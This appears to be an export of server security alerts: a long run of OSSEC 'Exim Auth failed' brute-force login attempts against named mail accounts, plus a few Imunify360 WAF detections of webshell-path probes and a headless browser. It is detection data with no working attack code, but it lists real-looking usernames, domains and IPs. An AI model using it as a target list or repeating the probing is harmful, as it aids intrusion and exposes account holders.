2026-07-12 21:55:03 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([199.187.210.51]) [111.70.38.54]:46429: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.26
country_id: 1269750
description:
2026-07-12 21:54:23 dovecot_login authenticator failed for H=([67.201.39.9]) [128.185.201.26]:51752: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-12 21:56:09 dovecot_login authenticator failed for H=(65-73-230-99.d1dd231b1e9e11c70abaf8fabd83036a.ip.frontiernet.net) [128.134.83.141]:41662: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-12 21:56:47 dovecot_login authenticator failed for H=([70.166.167.50]) [200.107.163.195]:14860: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.151.251.129
country_id: 1835841
description:
2026-07-12 21:57:41 dovecot_login authenticator failed for H=(2-74-192-203.kcell.kz) [221.151.251.129]:36295: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-12 21:59:09 dovecot_login authenticator failed for H=(187-8-89-120.customer.tdatabrasil.net.br) [196.188.93.169]:4169: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-07-12 22:00:08 dovecot_login authenticator failed for H=(red.138.118.213.204.ssservicios.com.ar) [128.185.209.30]:59000: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-12 21:59:49 dovecot_login authenticator failed for H=50-121-186-125.static.chtn.wv.ip.frontiernet.net (ip6d55bd65.fixed.kabel-deutschland.de) [50.121.186.125]:59929: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.228.229.182
country_id: 2661886
description:
2026-07-12 21:59:29 dovecot_login authenticator failed for H=90-228-229-182-no600.tbcn.telia.com ([221.181.210.98]) [90.228.229.182]:47560: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.84.240
country_id: 294640
description:
2026-07-12 22:02:07 dovecot_login authenticator failed for H=([49.124.153.38]) [2.55.84.240]:49376: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
country_id: 1835841
description:
2026-07-12 22:04:52 dovecot_login authenticator failed for H=([192.252.208.66]) [61.97.17.208]:33706: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.218.135.58
country_id: 6252001
description:
2026-07-12 22:11:49 dovecot_login authenticator failed for H=([49.124.151.5]) [15.218.135.58]:51548: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-07-12 22:11:31 dovecot_login authenticator failed for H=(210.0.90.81.static.nexnet.net.au) [169.211.232.182]:54592: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-07-12 22:12:29 dovecot_login authenticator failed for H=([182.252.140.114]) [122.160.142.194]:55990: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.48.240.75
country_id: 1835841
description:
2026-07-12 22:13:18 dovecot_login authenticator failed for H=([192.111.143.93]) [14.48.240.75]:44851: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.236.211.54
country_id: 2661886
description:
2026-07-12 22:13:42 dovecot_login authenticator failed for H=81-236-211-54-no2550.tbcn.telia.com ([142.54.225.52]) [81.236.211.54]:57538: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-12 22:13:21 dovecot_login authenticator failed for H=([27.39.128.170]) [103.206.131.33]:46745: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-07-12 22:14:37 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:38702: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-07-12 22:14:51 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:46283: 535 Incorrect authentication data (set_id=jijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.59.80
country_id: 1835841
description:
2026-07-12 22:17:57 dovecot_login authenticator failed for H=([49.124.152.174]) [119.192.59.80]:33174: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-12 22:18:33 dovecot_login authenticator failed for H=([111.26.167.37]) [61.37.150.6]:49132: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-07-12 22:18:52 dovecot_login authenticator failed for H=([112.232.252.106]) [207.254.71.129]:54167: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.153.3.166
country_id: 6252001
description:
2026-07-12 22:22:19 dovecot_plain authenticator failed for H=c-73-153-3-166.hsd1.co.comcast.net (pessal) [73.153.3.166]:42872: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-12 22:24:14 dovecot_login authenticator failed for H=([192.252.220.90]) [202.62.88.25]:60904: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.212.29
country_id: 2661886
description:
2026-07-12 22:25:19 dovecot_login authenticator failed for H=90-230-212-29-no2550.tbcn.telia.com ([187.50.122.20]) [90.230.212.29]:56208: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.114.93.153
country_id: 3923057
description:
2026-07-12 22:24:33 dovecot_login authenticator failed for H=host-181-114-93-153.supernet.com.bo ([112.168.121.39]) [181.114.93.153]:50020: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-12 22:25:44 dovecot_login authenticator failed for H=([192.252.220.90]) [41.219.149.74]:16853: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.227.94
country_id: 1269750
description:
2026-07-12 22:27:14 dovecot_login authenticator failed for H=(wsip-72-215-37-98.pn.at.cox.net) [152.52.227.94]:35668: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.30
country_id: 1668284
description:
2026-07-12 22:27:35 dovecot_login authenticator failed for H=([107.181.161.85]) [101.13.5.30]:45634: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 173.239.196.183
country_id: 1227603
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/DJP9.php||SC:/home/futuracarecom/public_html/images/DJP9.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.238.140.87
country_id: 2661886
description:
2026-07-12 22:31:37 dovecot_login authenticator failed for H=customer-109-238-140-87.stosn.net ([184.185.2.1]) [109.238.140.87]:47802: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.83.9.140
country_id: 1694008
description:
2026-07-12 22:32:17 dovecot_login authenticator failed for H=([31.173.31.33]) [124.83.9.140]:35142: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.54
country_id: 1668284
description:
2026-07-12 22:33:09 dovecot_login authenticator failed for H=110-25-109-54.adsl.fetnet.net ([199.116.114.10]) [110.25.109.54]:36440: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-12 22:33:27 dovecot_login authenticator failed for H=([117.159.93.197]) [193.46.192.20]:45193: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.219.75.143
country_id: 357994
description:
2026-07-12 22:34:27 dovecot_login authenticator failed for H=([49.124.147.105]) [196.219.75.143]:36776: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.87.2
country_id: 1269750
description:
2026-07-12 22:36:11 dovecot_login authenticator failed for H=([192.111.129.146]) [182.78.87.2]:57166: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-07-12 22:36:23 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net ([72.37.216.65]) [76.132.238.43]:51788: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-07-12 22:38:09 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:39654: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 173.239.196.182
country_id: 1227603
domain: futuracare.com.au
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/futuracarecom/public_html/wp-includes||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 173.239.196.182
country_id: 1227603
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-content/uploads/link.php||SC:/home/futuracarecom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.87
country_id: 1269750
description:
2026-07-12 22:38:21 dovecot_login authenticator failed for H=(nsg-corporate-87.230.187.122.airtel.in) [122.187.230.87]:50983: 535 Incorrect authentication data (set_id=sadiq)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.74.212.204
country_id: 1643084
description:
2026-07-12 22:38:34 dovecot_login authenticator failed for H=([105.247.89.210]) [36.74.212.204]:39620: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.56.206.206
country_id: 6252001
domain: www.autoconfig.ibmcglobal.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3865.120 Safari/537.36||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-12 22:38:49 dovecot_login authenticator failed for H=([194.154.92.163]) [106.201.237.208]:37680: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-12 22:40:24 dovecot_login authenticator failed for H=([171.211.123.106]) [196.188.93.169]:4173: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-07-12 22:41:31 dovecot_login authenticator failed for H=([49.124.152.163]) [50.231.243.28]:34048: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.64
country_id: 1733045
description:
2026-07-12 22:41:48 dovecot_login authenticator failed for H=(111-70-23-253.emome-ip.hinet.net) [49.125.201.64]:36642: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-12 22:42:57 dovecot_login authenticator failed for H=([107.181.168.150]) [183.82.56.12]:62272: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.33.119.34
country_id: 1835841
description:
2026-07-12 22:42:39 dovecot_login authenticator failed for H=([183.104.220.195]) [118.33.119.34]:57564: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-12 22:45:54 dovecot_login authenticator failed for H=([182.79.95.152]) [103.168.241.32]:53812: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.116.19.117
country_id: 1835841
description:
2026-07-12 22:46:03 dovecot_login authenticator failed for H=([121.131.220.168]) [222.116.19.117]:57452: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.185.89.74
country_id: 1835841
description:
2026-07-12 22:45:33 dovecot_login authenticator failed for H=([111.26.67.36]) [121.185.89.74]:60612: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-07-12 22:48:07 dovecot_login authenticator failed for H=(c-83-226-56-106.bbcust.telenor.se) [64.72.74.162]:45338: 535 Incorrect authentication data (set_id=mail)


